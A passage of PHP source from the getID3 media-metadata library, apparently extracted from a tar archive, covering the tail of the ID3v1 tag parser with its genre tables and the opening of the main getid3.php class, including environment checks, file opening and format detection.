			$ParsedID3v1['album']   = $this->cutfield(substr($id3v1tag,  63, 30));
			$ParsedID3v1['year']    = $this->cutfield(substr($id3v1tag,  93,  4));
			$ParsedID3v1['comment'] =                 substr($id3v1tag,  97, 30);  // can't remove nulls yet, track detection depends on them
			$ParsedID3v1['genreid'] =             ord(substr($id3v1tag, 127,  1));

			// If second-last byte of comment field is null and last byte of comment field is non-null
			// then this is ID3v1.1 and the comment field is 28 bytes long and the 30th byte is the track number
			if (($id3v1tag{125} === "\x00") && ($id3v1tag{126} !== "\x00")) {
				$ParsedID3v1['track']   = ord(substr($ParsedID3v1['comment'], 29,  1));
				$ParsedID3v1['comment'] =     substr($ParsedID3v1['comment'],  0, 28);
			}
			$ParsedID3v1['comment'] = $this->cutfield($ParsedID3v1['comment']);

			$ParsedID3v1['genre'] = $this->LookupGenreName($ParsedID3v1['genreid']);
			if (!empty($ParsedID3v1['genre'])) {
				unset($ParsedID3v1['genreid']);
			}
			if (isset($ParsedID3v1['genre']) && (empty($ParsedID3v1['genre']) || ($ParsedID3v1['genre'] == 'Unknown'))) {
				unset($ParsedID3v1['genre']);
			}

			foreach ($ParsedID3v1 as $key => $value) {
				$ParsedID3v1['comments'][$key][0] = $value;
			}
			// ID3v1 encoding detection hack START
			// ID3v1 is defined as always using ISO-8859-1 encoding, but it is not uncommon to find files tagged with ID3v1 using Windows-1251 or other character sets
			// Since ID3v1 has no concept of character sets there is no certain way to know we have the correct non-ISO-8859-1 character set, but we can guess
			$ID3v1encoding = 'ISO-8859-1';
			foreach ($ParsedID3v1['comments'] as $tag_key => $valuearray) {
				foreach ($valuearray as $key => $value) {
					if (preg_match('#^[\\x00-\\x40\\xA8\\B8\\x80-\\xFF]+$#', $value)) {
						foreach (array('Windows-1251', 'KOI8-R') as $id3v1_bad_encoding) {
							if (function_exists('mb_convert_encoding') && @mb_convert_encoding($value, $id3v1_bad_encoding, $id3v1_bad_encoding) === $value) {
								$ID3v1encoding = $id3v1_bad_encoding;
								break 3;
							} elseif (function_exists('iconv') && @iconv($id3v1_bad_encoding, $id3v1_bad_encoding, $value) === $value) {
								$ID3v1encoding = $id3v1_bad_encoding;
								break 3;
							}
						}
					}
				}
			}
			// ID3v1 encoding detection hack END

			// ID3v1 data is supposed to be padded with NULL characters, but some taggers pad with spaces
			$GoodFormatID3v1tag = $this->GenerateID3v1Tag(
											$ParsedID3v1['title'],
											$ParsedID3v1['artist'],
											$ParsedID3v1['album'],
											$ParsedID3v1['year'],
											(isset($ParsedID3v1['genre']) ? $this->LookupGenreID($ParsedID3v1['genre']) : false),
											$ParsedID3v1['comment'],
											(!empty($ParsedID3v1['track']) ? $ParsedID3v1['track'] : ''));
			$ParsedID3v1['padding_valid'] = true;
			if ($id3v1tag !== $GoodFormatID3v1tag) {
				$ParsedID3v1['padding_valid'] = false;
				$this->warning('Some ID3v1 fields do not use NULL characters for padding');
			}

			$ParsedID3v1['tag_offset_end']   = $info['filesize'];
			$ParsedID3v1['tag_offset_start'] = $ParsedID3v1['tag_offset_end'] - 128;

			$info['id3v1'] = $ParsedID3v1;
			$info['id3v1']['encoding'] = $ID3v1encoding;
		}

		if (substr($preid3v1, 0, 3) == 'TAG') {
			// The way iTunes handles tags is, well, brain-damaged.
			// It completely ignores v1 if ID3v2 is present.
			// This goes as far as adding a new v1 tag *even if there already is one*

			// A suspected double-ID3v1 tag has been detected, but it could be that
			// the "TAG" identifier is a legitimate part of an APE or Lyrics3 tag
			if (substr($preid3v1, 96, 8) == 'APETAGEX') {
				// an APE tag footer was found before the last ID3v1, assume false "TAG" synch
			} elseif (substr($preid3v1, 119, 6) == 'LYRICS') {
				// a Lyrics3 tag footer was found before the last ID3v1, assume false "TAG" synch
			} else {
				// APE and Lyrics3 footers not found - assume double ID3v1
				$this->warning('Duplicate ID3v1 tag detected - this has been known to happen with iTunes');
				$info['avdataend'] -= 128;
			}
		}

		return true;
	}

	public static function cutfield($str) {
		return trim(substr($str, 0, strcspn($str, "\x00")));
	}

	public static function ArrayOfGenres($allowSCMPXextended=false) {
		static $GenreLookup = array(
			0    => 'Blues',
			1    => 'Classic Rock',
			2    => 'Country',
			3    => 'Dance',
			4    => 'Disco',
			5    => 'Funk',
			6    => 'Grunge',
			7    => 'Hip-Hop',
			8    => 'Jazz',
			9    => 'Metal',
			10   => 'New Age',
			11   => 'Oldies',
			12   => 'Other',
			13   => 'Pop',
			14   => 'R&B',
			15   => 'Rap',
			16   => 'Reggae',
			17   => 'Rock',
			18   => 'Techno',
			19   => 'Industrial',
			20   => 'Alternative',
			21   => 'Ska',
			22   => 'Death Metal',
			23   => 'Pranks',
			24   => 'Soundtrack',
			25   => 'Euro-Techno',
			26   => 'Ambient',
			27   => 'Trip-Hop',
			28   => 'Vocal',
			29   => 'Jazz+Funk',
			30   => 'Fusion',
			31   => 'Trance',
			32   => 'Classical',
			33   => 'Instrumental',
			34   => 'Acid',
			35   => 'House',
			36   => 'Game',
			37   => 'Sound Clip',
			38   => 'Gospel',
			39   => 'Noise',
			40   => 'Alt. Rock',
			41   => 'Bass',
			42   => 'Soul',
			43   => 'Punk',
			44   => 'Space',
			45   => 'Meditative',
			46   => 'Instrumental Pop',
			47   => 'Instrumental Rock',
			48   => 'Ethnic',
			49   => 'Gothic',
			50   => 'Darkwave',
			51   => 'Techno-Industrial',
			52   => 'Electronic',
			53   => 'Pop-Folk',
			54   => 'Eurodance',
			55   => 'Dream',
			56   => 'Southern Rock',
			57   => 'Comedy',
			58   => 'Cult',
			59   => 'Gangsta Rap',
			60   => 'Top 40',
			61   => 'Christian Rap',
			62   => 'Pop/Funk',
			63   => 'Jungle',
			64   => 'Native American',
			65   => 'Cabaret',
			66   => 'New Wave',
			67   => 'Psychedelic',
			68   => 'Rave',
			69   => 'Showtunes',
			70   => 'Trailer',
			71   => 'Lo-Fi',
			72   => 'Tribal',
			73   => 'Acid Punk',
			74   => 'Acid Jazz',
			75   => 'Polka',
			76   => 'Retro',
			77   => 'Musical',
			78   => 'Rock & Roll',
			79   => 'Hard Rock',
			80   => 'Folk',
			81   => 'Folk/Rock',
			82   => 'National Folk',
			83   => 'Swing',
			84   => 'Fast-Fusion',
			85   => 'Bebob',
			86   => 'Latin',
			87   => 'Revival',
			88   => 'Celtic',
			89   => 'Bluegrass',
			90   => 'Avantgarde',
			91   => 'Gothic Rock',
			92   => 'Progressive Rock',
			93   => 'Psychedelic Rock',
			94   => 'Symphonic Rock',
			95   => 'Slow Rock',
			96   => 'Big Band',
			97   => 'Chorus',
			98   => 'Easy Listening',
			99   => 'Acoustic',
			100  => 'Humour',
			101  => 'Speech',
			102  => 'Chanson',
			103  => 'Opera',
			104  => 'Chamber Music',
			105  => 'Sonata',
			106  => 'Symphony',
			107  => 'Booty Bass',
			108  => 'Primus',
			109  => 'Porn Groove',
			110  => 'Satire',
			111  => 'Slow Jam',
			112  => 'Club',
			113  => 'Tango',
			114  => 'Samba',
			115  => 'Folklore',
			116  => 'Ballad',
			117  => 'Power Ballad',
			118  => 'Rhythmic Soul',
			119  => 'Freestyle',
			120  => 'Duet',
			121  => 'Punk Rock',
			122  => 'Drum Solo',
			123  => 'A Cappella',
			124  => 'Euro-House',
			125  => 'Dance Hall',
			126  => 'Goa',
			127  => 'Drum & Bass',
			128  => 'Club-House',
			129  => 'Hardcore',
			130  => 'Terror',
			131  => 'Indie',
			132  => 'BritPop',
			133  => 'Negerpunk',
			134  => 'Polsk Punk',
			135  => 'Beat',
			136  => 'Christian Gangsta Rap',
			137  => 'Heavy Metal',
			138  => 'Black Metal',
			139  => 'Crossover',
			140  => 'Contemporary Christian',
			141  => 'Christian Rock',
			142  => 'Merengue',
			143  => 'Salsa',
			144  => 'Thrash Metal',
			145  => 'Anime',
			146  => 'JPop',
			147  => 'Synthpop',

			255  => 'Unknown',

			'CR' => 'Cover',
			'RX' => 'Remix'
		);

		static $GenreLookupSCMPX = array();
		if ($allowSCMPXextended && empty($GenreLookupSCMPX)) {
			$GenreLookupSCMPX = $GenreLookup;
			// http://www.geocities.co.jp/SiliconValley-Oakland/3664/alittle.html#GenreExtended
			// Extended ID3v1 genres invented by SCMPX
			// Note that 255 "Japanese Anime" conflicts with standard "Unknown"
			$GenreLookupSCMPX[240] = 'Sacred';
			$GenreLookupSCMPX[241] = 'Northern Europe';
			$GenreLookupSCMPX[242] = 'Irish & Scottish';
			$GenreLookupSCMPX[243] = 'Scotland';
			$GenreLookupSCMPX[244] = 'Ethnic Europe';
			$GenreLookupSCMPX[245] = 'Enka';
			$GenreLookupSCMPX[246] = 'Children\'s Song';
			$GenreLookupSCMPX[247] = 'Japanese Sky';
			$GenreLookupSCMPX[248] = 'Japanese Heavy Rock';
			$GenreLookupSCMPX[249] = 'Japanese Doom Rock';
			$GenreLookupSCMPX[250] = 'Japanese J-POP';
			$GenreLookupSCMPX[251] = 'Japanese Seiyu';
			$GenreLookupSCMPX[252] = 'Japanese Ambient Techno';
			$GenreLookupSCMPX[253] = 'Japanese Moemoe';
			$GenreLookupSCMPX[254] = 'Japanese Tokusatsu';
			//$GenreLookupSCMPX[255] = 'Japanese Anime';
		}

		return ($allowSCMPXextended ? $GenreLookupSCMPX : $GenreLookup);
	}

	public static function LookupGenreName($genreid, $allowSCMPXextended=true) {
		switch ($genreid) {
			case 'RX':
			case 'CR':
				break;
			default:
				if (!is_numeric($genreid)) {
					return false;
				}
				$genreid = intval($genreid); // to handle 3 or '3' or '03'
				break;
		}
		$GenreLookup = self::ArrayOfGenres($allowSCMPXextended);
		return (isset($GenreLookup[$genreid]) ? $GenreLookup[$genreid] : false);
	}

	public static function LookupGenreID($genre, $allowSCMPXextended=false) {
		$GenreLookup = self::ArrayOfGenres($allowSCMPXextended);
		$LowerCaseNoSpaceSearchTerm = strtolower(str_replace(' ', '', $genre));
		foreach ($GenreLookup as $key => $value) {
			if (strtolower(str_replace(' ', '', $value)) == $LowerCaseNoSpaceSearchTerm) {
				return $key;
			}
		}
		return false;
	}

	public static function StandardiseID3v1GenreName($OriginalGenre) {
		if (($GenreID = self::LookupGenreID($OriginalGenre)) !== false) {
			return self::LookupGenreName($GenreID);
		}
		return $OriginalGenre;
	}

	public static function GenerateID3v1Tag($title, $artist, $album, $year, $genreid, $comment, $track='') {
		$ID3v1Tag  = 'TAG';
		$ID3v1Tag .= str_pad(trim(substr($title,  0, 30)), 30, "\x00", STR_PAD_RIGHT);
		$ID3v1Tag .= str_pad(trim(substr($artist, 0, 30)), 30, "\x00", STR_PAD_RIGHT);
		$ID3v1Tag .= str_pad(trim(substr($album,  0, 30)), 30, "\x00", STR_PAD_RIGHT);
		$ID3v1Tag .= str_pad(trim(substr($year,   0,  4)),  4, "\x00", STR_PAD_LEFT);
		if (!empty($track) && ($track > 0) && ($track <= 255)) {
			$ID3v1Tag .= str_pad(trim(substr($comment, 0, 28)), 28, "\x00", STR_PAD_RIGHT);
			$ID3v1Tag .= "\x00";
			if (gettype($track) == 'string') {
				$track = (int) $track;
			}
			$ID3v1Tag .= chr($track);
		} else {
			$ID3v1Tag .= str_pad(trim(substr($comment, 0, 30)), 30, "\x00", STR_PAD_RIGHT);
		}
		if (($genreid < 0) || ($genreid > 147)) {
			$genreid = 255; // 'unknown' genre
		}
		switch (gettype($genreid)) {
			case 'string':
			case 'integer':
				$ID3v1Tag .= chr(intval($genreid));
				break;
			default:
				$ID3v1Tag .= chr(255); // 'unknown' genre
				break;
		}

		return $ID3v1Tag;
	}

}
editor/libraries/classes/vendor/getid3/getid3/getid3.php000060400000202002150750527150017165 0ustar00<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or http://www.getid3.org                         //
//          also https://github.com/JamesHeinrich/getID3       //
/////////////////////////////////////////////////////////////////
//                                                             //
// Please see readme.txt for more information                  //
//                                                            ///
/////////////////////////////////////////////////////////////////

// define a constant rather than looking up every time it is needed
if (!defined('GETID3_OS_ISWINDOWS')) {
	define('GETID3_OS_ISWINDOWS', (stripos(PHP_OS, 'WIN') === 0));
}
// Get base path of getID3() - ONCE
if (!defined('GETID3_INCLUDEPATH')) {
	define('GETID3_INCLUDEPATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
}
// Workaround Bug #39923 (https://bugs.php.net/bug.php?id=39923)
if (!defined('IMG_JPG') && defined('IMAGETYPE_JPEG')) {
	define('IMG_JPG', IMAGETYPE_JPEG);
}
if (!defined('ENT_SUBSTITUTE')) { // PHP5.3 adds ENT_IGNORE, PHP5.4 adds ENT_SUBSTITUTE
	define('ENT_SUBSTITUTE', (defined('ENT_IGNORE') ? ENT_IGNORE : 8));
}

// attempt to define temp dir as something flexible but reliable
$temp_dir = ini_get('upload_tmp_dir');
if ($temp_dir && (!is_dir($temp_dir) || !is_readable($temp_dir))) {
	$temp_dir = '';
}
if (!$temp_dir && function_exists('sys_get_temp_dir')) { // sys_get_temp_dir added in PHP v5.2.1
	// sys_get_temp_dir() may give inaccessible temp dir, e.g. with open_basedir on virtual hosts
	$temp_dir = sys_get_temp_dir();
}
$temp_dir = @realpath($temp_dir); // see https://github.com/JamesHeinrich/getID3/pull/10
$open_basedir = ini_get('open_basedir');
if ($open_basedir) {
	// e.g. "/var/www/vhosts/getid3.org/httpdocs/:/tmp/"
	$temp_dir     = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $temp_dir);
	$open_basedir = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $open_basedir);
	if (substr($temp_dir, -1, 1) != DIRECTORY_SEPARATOR) {
		$temp_dir .= DIRECTORY_SEPARATOR;
	}
	$found_valid_tempdir = false;
	$open_basedirs = explode(PATH_SEPARATOR, $open_basedir);
	foreach ($open_basedirs as $basedir) {
		if (substr($basedir, -1, 1) != DIRECTORY_SEPARATOR) {
			$basedir .= DIRECTORY_SEPARATOR;
		}
		if (preg_match('#^'.preg_quote($basedir).'#', $temp_dir)) {
			$found_valid_tempdir = true;
			break;
		}
	}
	if (!$found_valid_tempdir) {
		$temp_dir = '';
	}
	unset($open_basedirs, $found_valid_tempdir, $basedir);
}
if (!$temp_dir) {
	$temp_dir = '*'; // invalid directory name should force tempnam() to use system default temp dir
}
// $temp_dir = '/something/else/';  // feel free to override temp dir here if it works better for your system
if (!defined('GETID3_TEMP_DIR')) {
	define('GETID3_TEMP_DIR', $temp_dir);
}
unset($open_basedir, $temp_dir);

// End: Defines


class getID3
{
	// public: Settings
	public $encoding        = 'UTF-8';        // CASE SENSITIVE! - i.e. (must be supported by iconv()). Examples:  ISO-8859-1  UTF-8  UTF-16  UTF-16BE
	public $encoding_id3v1  = 'ISO-8859-1';   // Should always be 'ISO-8859-1', but some tags may be written in other encodings such as 'EUC-CN' or 'CP1252'

	// public: Optional tag checks - disable for speed.
	public $option_tag_id3v1         = true;  // Read and process ID3v1 tags
	public $option_tag_id3v2         = true;  // Read and process ID3v2 tags
	public $option_tag_lyrics3       = true;  // Read and process Lyrics3 tags
	public $option_tag_apetag        = true;  // Read and process APE tags
	public $option_tags_process      = true;  // Copy tags to root key 'tags' and encode to $this->encoding
	public $option_tags_html         = true;  // Copy tags to root key 'tags_html' properly translated from various encodings to HTML entities

	// public: Optional tag/comment calucations
	public $option_extra_info        = true;  // Calculate additional info such as bitrate, channelmode etc

	// public: Optional handling of embedded attachments (e.g. images)
	public $option_save_attachments  = true; // defaults to true (ATTACHMENTS_INLINE) for backward compatibility

	// public: Optional calculations
	public $option_md5_data          = false; // Get MD5 sum of data part - slow
	public $option_md5_data_source   = false; // Use MD5 of source file if availble - only FLAC and OptimFROG
	public $option_sha1_data         = false; // Get SHA1 sum of data part - slow
	public $option_max_2gb_check     = null;  // Check whether file is larger than 2GB and thus not supported by 32-bit PHP (null: auto-detect based on PHP_INT_MAX)

	// public: Read buffer size in bytes
	public $option_fread_buffer_size = 32768;

	// Public variables
	public $filename;                         // Filename of file being analysed.
	public $fp;                               // Filepointer to file being analysed.
	public $info;                             // Result array.
	public $tempdir = GETID3_TEMP_DIR;
	public $memory_limit = 0;

	// Protected variables
	protected $startup_error   = '';
	protected $startup_warning = '';

	const VERSION           = '1.9.14-201703261440';
	const FREAD_BUFFER_SIZE = 32768;

	const ATTACHMENTS_NONE   = false;
	const ATTACHMENTS_INLINE = true;

	// public: constructor
	public function __construct() {

		// Check for PHP version
		$required_php_version = '5.3.0';
		if (version_compare(PHP_VERSION, $required_php_version, '<')) {
			$this->startup_error .= 'getID3() requires PHP v'.$required_php_version.' or higher - you are running v'.PHP_VERSION."\n";
			return false;
		}

		// Check memory
		$this->memory_limit = ini_get('memory_limit');
		if (preg_match('#([0-9]+)M#i', $this->memory_limit, $matches)) {
			// could be stored as "16M" rather than 16777216 for example
			$this->memory_limit = $matches[1] * 1048576;
		} elseif (preg_match('#([0-9]+)G#i', $this->memory_limit, $matches)) { // The 'G' modifier is available since PHP 5.1.0
			// could be stored as "2G" rather than 2147483648 for example
			$this->memory_limit = $matches[1] * 1073741824;
		}
		if ($this->memory_limit <= 0) {
			// memory limits probably disabled
		} elseif ($this->memory_limit <= 4194304) {
			$this->startup_error .= 'PHP has less than 4MB available memory and will very likely run out. Increase memory_limit in php.ini'."\n";
		} elseif ($this->memory_limit <= 12582912) {
			$this->startup_warning .= 'PHP has less than 12MB available memory and might run out if all modules are loaded. Increase memory_limit in php.ini'."\n";
		}

		// Check safe_mode off
		if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) {
			$this->warning('WARNING: Safe mode is on, shorten support disabled, md5data/sha1data for ogg vorbis disabled, ogg vorbos/flac tag writing disabled.');
		}

		if (($mbstring_func_overload = ini_get('mbstring.func_overload')) && ($mbstring_func_overload & 0x02)) {
			// http://php.net/manual/en/mbstring.overload.php
			// "mbstring.func_overload in php.ini is a positive value that represents a combination of bitmasks specifying the categories of functions to be overloaded. It should be set to 1 to overload the mail() function. 2 for string functions, 4 for regular expression functions"
			// getID3 cannot run when string functions are overloaded. It doesn't matter if mail() or ereg* functions are overloaded since getID3 does not use those.
			$this->startup_error .= 'WARNING: php.ini contains "mbstring.func_overload = '.ini_get('mbstring.func_overload').'", getID3 cannot run with this setting (bitmask 2 (string functions) cannot be set). Recommended to disable entirely.'."\n";
		}

		// Check for magic_quotes_runtime
		if (function_exists('get_magic_quotes_runtime')) {
			if (get_magic_quotes_runtime()) {
				$this->startup_error .= 'magic_quotes_runtime must be disabled before running getID3(). Surround getid3 block by set_magic_quotes_runtime(0) and set_magic_quotes_runtime(1).'."\n";
			}
		}

		// Check for magic_quotes_gpc
		if (function_exists('magic_quotes_gpc')) {
			if (get_magic_quotes_gpc()) {
				$this->startup_error .= 'magic_quotes_gpc must be disabled before running getID3(). Surround getid3 block by set_magic_quotes_gpc(0) and set_magic_quotes_gpc(1).'."\n";
			}
		}

		// Load support library
		if (!include_once(GETID3_INCLUDEPATH.'getid3.lib.php')) {
			$this->startup_error .= 'getid3.lib.php is missing or corrupt'."\n";
		}

		if ($this->option_max_2gb_check === null) {
			$this->option_max_2gb_check = (PHP_INT_MAX <= 2147483647);
		}


		// Needed for Windows only:
		// Define locations of helper applications for Shorten, VorbisComment, MetaFLAC
		//   as well as other helper functions such as head, tail, md5sum, etc
		// This path cannot contain spaces, but the below code will attempt to get the
		//   8.3-equivalent path automatically
		// IMPORTANT: This path must include the trailing slash
		if (GETID3_OS_ISWINDOWS && !defined('GETID3_HELPERAPPSDIR')) {

			$helperappsdir = GETID3_INCLUDEPATH.'..'.DIRECTORY_SEPARATOR.'helperapps'; // must not have any space in this path

			if (!is_dir($helperappsdir)) {
				$this->startup_warning .= '"'.$helperappsdir.'" cannot be defined as GETID3_HELPERAPPSDIR because it does not exist'."\n";
			} elseif (strpos(realpath($helperappsdir), ' ') !== false) {
				$DirPieces = explode(DIRECTORY_SEPARATOR, realpath($helperappsdir));
				$path_so_far = array();
				foreach ($DirPieces as $key => $value) {
					if (strpos($value, ' ') !== false) {
						if (!empty($path_so_far)) {
							$commandline = 'dir /x '.escapeshellarg(implode(DIRECTORY_SEPARATOR, $path_so_far));
							$dir_listing = `$commandline`;
							$lines = explode("\n", $dir_listing);
							foreach ($lines as $line) {
								$line = trim($line);
								if (preg_match('#^([0-9/]{10}) +([0-9:]{4,5}( [AP]M)?) +(<DIR>|[0-9,]+) +([^ ]{0,11}) +(.+)$#', $line, $matches)) {
									list($dummy, $date, $time, $ampm, $filesize, $shortname, $filename) = $matches;
									if ((strtoupper($filesize) == '<DIR>') && (strtolower($filename) == strtolower($value))) {
										$value = $shortname;
									}
								}
							}
						} else {
							$this->startup_warning .= 'GETID3_HELPERAPPSDIR must not have any spaces in it - use 8dot3 naming convention if neccesary. You can run "dir /x" from the commandline to see the correct 8.3-style names.'."\n";
						}
					}
					$path_so_far[] = $value;
				}
				$helperappsdir = implode(DIRECTORY_SEPARATOR, $path_so_far);
			}
			define('GETID3_HELPERAPPSDIR', $helperappsdir.DIRECTORY_SEPARATOR);
		}

		if (!empty($this->startup_error)) {
			echo $this->startup_error;
			throw new getid3_exception($this->startup_error);
		}

		return true;
	}

	public function version() {
		return self::VERSION;
	}

	public function fread_buffer_size() {
		return $this->option_fread_buffer_size;
	}


	// public: setOption
	public function setOption($optArray) {
		if (!is_array($optArray) || empty($optArray)) {
			return false;
		}
		foreach ($optArray as $opt => $val) {
			if (isset($this->$opt) === false) {
				continue;
			}
			$this->$opt = $val;
		}
		return true;
	}


	public function openfile($filename, $filesize=null) {
		try {
			if (!empty($this->startup_error)) {
				throw new getid3_exception($this->startup_error);
			}
			if (!empty($this->startup_warning)) {
				foreach (explode("\n", $this->startup_warning) as $startup_warning) {
					$this->warning($startup_warning);
				}
			}

			// init result array and set parameters
			$this->filename = $filename;
			$this->info = array();
			$this->info['GETID3_VERSION']   = $this->version();
			$this->info['php_memory_limit'] = (($this->memory_limit > 0) ? $this->memory_limit : false);

			// remote files not supported
			if (preg_match('#^(ht|f)tp://#', $filename)) {
				throw new getid3_exception('Remote files are not supported - please copy the file locally first');
			}

			$filename = str_replace('/', DIRECTORY_SEPARATOR, $filename);
			$filename = preg_replace('#(.+)'.preg_quote(DIRECTORY_SEPARATOR).'{2,}#U', '\1'.DIRECTORY_SEPARATOR, $filename);

			// open local file
			//if (is_readable($filename) && is_file($filename) && ($this->fp = fopen($filename, 'rb'))) { // see http://www.getid3.org/phpBB3/viewtopic.php?t=1720
			if ((is_readable($filename) || file_exists($filename)) && is_file($filename) && ($this->fp = fopen($filename, 'rb'))) {
				// great
			} else {
				$errormessagelist = array();
				if (!is_readable($filename)) {
					$errormessagelist[] = '!is_readable';
				}
				if (!is_file($filename)) {
					$errormessagelist[] = '!is_file';
				}
				if (!file_exists($filename)) {
					$errormessagelist[] = '!file_exists';
				}
				if (empty($errormessagelist)) {
					$errormessagelist[] = 'fopen failed';
				}
				throw new getid3_exception('Could not open "'.$filename.'" ('.implode('; ', $errormessagelist).')');
			}

			$this->info['filesize'] = (!is_null($filesize) ? $filesize : filesize($filename));
			// set redundant parameters - might be needed in some include file
			// filenames / filepaths in getID3 are always expressed with forward slashes (unix-style) for both Windows and other to try and minimize confusion
			$filename = str_replace('\\', '/', $filename);
			$this->info['filepath']     = str_replace('\\', '/', realpath(dirname($filename)));
			$this->info['filename']     = getid3_lib::mb_basename($filename);
			$this->info['filenamepath'] = $this->info['filepath'].'/'.$this->info['filename'];

			// set more parameters
			$this->info['avdataoffset']        = 0;
			$this->info['avdataend']           = $this->info['filesize'];
			$this->info['fileformat']          = '';                // filled in later
			$this->info['audio']['dataformat'] = '';                // filled in later, unset if not used
			$this->info['video']['dataformat'] = '';                // filled in later, unset if not used
			$this->info['tags']                = array();           // filled in later, unset if not used
			$this->info['error']               = array();           // filled in later, unset if not used
			$this->info['warning']             = array();           // filled in later, unset if not used
			$this->info['comments']            = array();           // filled in later, unset if not used
			$this->info['encoding']            = $this->encoding;   // required by id3v2 and iso modules - can be unset at the end if desired

			// option_max_2gb_check
			if ($this->option_max_2gb_check) {
				// PHP (32-bit all, and 64-bit Windows) doesn't support integers larger than 2^31 (~2GB)
				// filesize() simply returns (filesize % (pow(2, 32)), no matter the actual filesize
				// ftell() returns 0 if seeking to the end is beyond the range of unsigned integer
				$fseek = fseek($this->fp, 0, SEEK_END);
				if (($fseek < 0) || (($this->info['filesize'] != 0) && (ftell($this->fp) == 0)) ||
					($this->info['filesize'] < 0) ||
					(ftell($this->fp) < 0)) {
						$real_filesize = getid3_lib::getFileSizeSyscall($this->info['filenamepath']);

						if ($real_filesize === false) {
							unset($this->info['filesize']);
							fclose($this->fp);
							throw new getid3_exception('Unable to determine actual filesize. File is most likely larger than '.round(PHP_INT_MAX / 1073741824).'GB and is not supported by PHP.');
						} elseif (getid3_lib::intValueSupported($real_filesize)) {
							unset($this->info['filesize']);
							fclose($this->fp);
							throw new getid3_exception('PHP seems to think the file is larger than '.round(PHP_INT_MAX / 1073741824).'GB, but filesystem reports it as '.number_format($real_filesize, 3).'GB, please report to info@getid3.org');
						}
						$this->info['filesize'] = $real_filesize;
						$this->warning('File is larger than '.round(PHP_INT_MAX / 1073741824).'GB (filesystem reports it as '.number_format($real_filesize, 3).'GB) and is not properly supported by PHP.');
				}
			}

			return true;

		} catch (Exception $e) {
			$this->error($e->getMessage());
		}
		return false;
	}

	// public: analyze file
	public function analyze($filename, $filesize=null, $original_filename='') {
		try {
			if (!$this->openfile($filename, $filesize)) {
				return $this->info;
			}

			// Handle tags
			foreach (array('id3v2'=>'id3v2', 'id3v1'=>'id3v1', 'apetag'=>'ape', 'lyrics3'=>'lyrics3') as $tag_name => $tag_key) {
				$option_tag = 'option_tag_'.$tag_name;
				if ($this->$option_tag) {
					$this->include_module('tag.'.$tag_name);
					try {
						$tag_class = 'getid3_'.$tag_name;
						$tag = new $tag_class($this);
						$tag->Analyze();
					}
					catch (getid3_exception $e) {
						throw $e;
					}
				}
			}
			if (isset($this->info['id3v2']['tag_offset_start'])) {
				$this->info['avdataoffset'] = max($this->info['avdataoffset'], $this->info['id3v2']['tag_offset_end']);
			}
			foreach (array('id3v1'=>'id3v1', 'apetag'=>'ape', 'lyrics3'=>'lyrics3') as $tag_name => $tag_key) {
				if (isset($this->info[$tag_key]['tag_offset_start'])) {
					$this->info['avdataend'] = min($this->info['avdataend'], $this->info[$tag_key]['tag_offset_start']);
				}
			}

			// ID3v2 detection (NOT parsing), even if ($this->option_tag_id3v2 == false) done to make fileformat easier
			if (!$this->option_tag_id3v2) {
				fseek($this->fp, 0);
				$header = fread($this->fp, 10);
				if ((substr($header, 0, 3) == 'ID3') && (strlen($header) == 10)) {
					$this->info['id3v2']['header']        = true;
					$this->info['id3v2']['majorversion']  = ord($header{3});
					$this->info['id3v2']['minorversion']  = ord($header{4});
					$this->info['avdataoffset']          += getid3_lib::BigEndian2Int(substr($header, 6, 4), 1) + 10; // length of ID3v2 tag in 10-byte header doesn't include 10-byte header length
				}
			}

			// read 32 kb file data
			fseek($this->fp, $this->info['avdataoffset']);
			$formattest = fread($this->fp, 32774);

			// determine format
			$determined_format = $this->GetFileFormat($formattest, ($original_filename ? $original_filename : $filename));

			// unable to determine file format
			if (!$determined_format) {
				fclose($this->fp);
				return $this->error('unable to determine file format');
			}

			// check for illegal ID3 tags
			if (isset($determined_format['fail_id3']) && (in_array('id3v1', $this->info['tags']) || in_array('id3v2', $this->info['tags']))) {
				if ($determined_format['fail_id3'] === 'ERROR') {
					fclose($this->fp);
					return $this->error('ID3 tags not allowed on this file type.');
				} elseif ($determined_format['fail_id3'] === 'WARNING') {
					$this->warning('ID3 tags not allowed on this file type.');
				}
			}

			// check for illegal APE tags
			if (isset($determined_format['fail_ape']) && in_array('ape', $this->info['tags'])) {
				if ($determined_format['fail_ape'] === 'ERROR') {
					fclose($this->fp);
					return $this->error('APE tags not allowed on this file type.');
				} elseif ($determined_format['fail_ape'] === 'WARNING') {
					$this->warning('APE tags not allowed on this file type.');
				}
			}

			// set mime type
			$this->info['mime_type'] = $determined_format['mime_type'];

			// supported format signature pattern detected, but module deleted
			if (!file_exists(GETID3_INCLUDEPATH.$determined_format['include'])) {
				fclose($this->fp);
				return $this->error('Format not supported, module "'.$determined_format['include'].'" was removed.');
			}

			// module requires mb_convert_encoding/iconv support
			// Check encoding/iconv support
			if (!empty($determined_format['iconv_req']) && !function_exists('mb_convert_encoding') && !function_exists('iconv') && !in_array($this->encoding, array('ISO-8859-1', 'UTF-8', 'UTF-16LE', 'UTF-16BE', 'UTF-16'))) {
				$errormessage = 'mb_convert_encoding() or iconv() support is required for this module ('.$determined_format['include'].') for encodings other than ISO-8859-1, UTF-8, UTF-16LE, UTF16-BE, UTF-16. ';
				if (GETID3_OS_ISWINDOWS) {
					$errormessage .= 'PHP does not have mb_convert_encoding() or iconv() support. Please enable php_mbstring.dll / php_iconv.dll in php.ini, and copy php_mbstring.dll / iconv.dll from c:/php/dlls to c:/windows/system32';
				} else {
					$errormessage .= 'PHP is not compiled with mb_convert_encoding() or iconv() support. Please recompile with the --enable-mbstring / --with-iconv switch';
				}
				return $this->error($errormessage);
			}

			// include module
			include_once(GETID3_INCLUDEPATH.$determined_format['include']);

			// instantiate module class
			$class_name = 'getid3_'.$determined_format['module'];
			if (!class_exists($class_name)) {
				return $this->error('Format not supported, module "'.$determined_format['include'].'" is corrupt.');
			}
			$class = new $class_name($this);
			$class->Analyze();
			unset($class);

			// close file
			fclose($this->fp);

			// process all tags - copy to 'tags' and convert charsets
			if ($this->option_tags_process) {
				$this->HandleAllTags();
			}

			// perform more calculations
			if ($this->option_extra_info) {
				$this->ChannelsBitratePlaytimeCalculations();
				$this->CalculateCompressionRatioVideo();
				$this->CalculateCompressionRatioAudio();
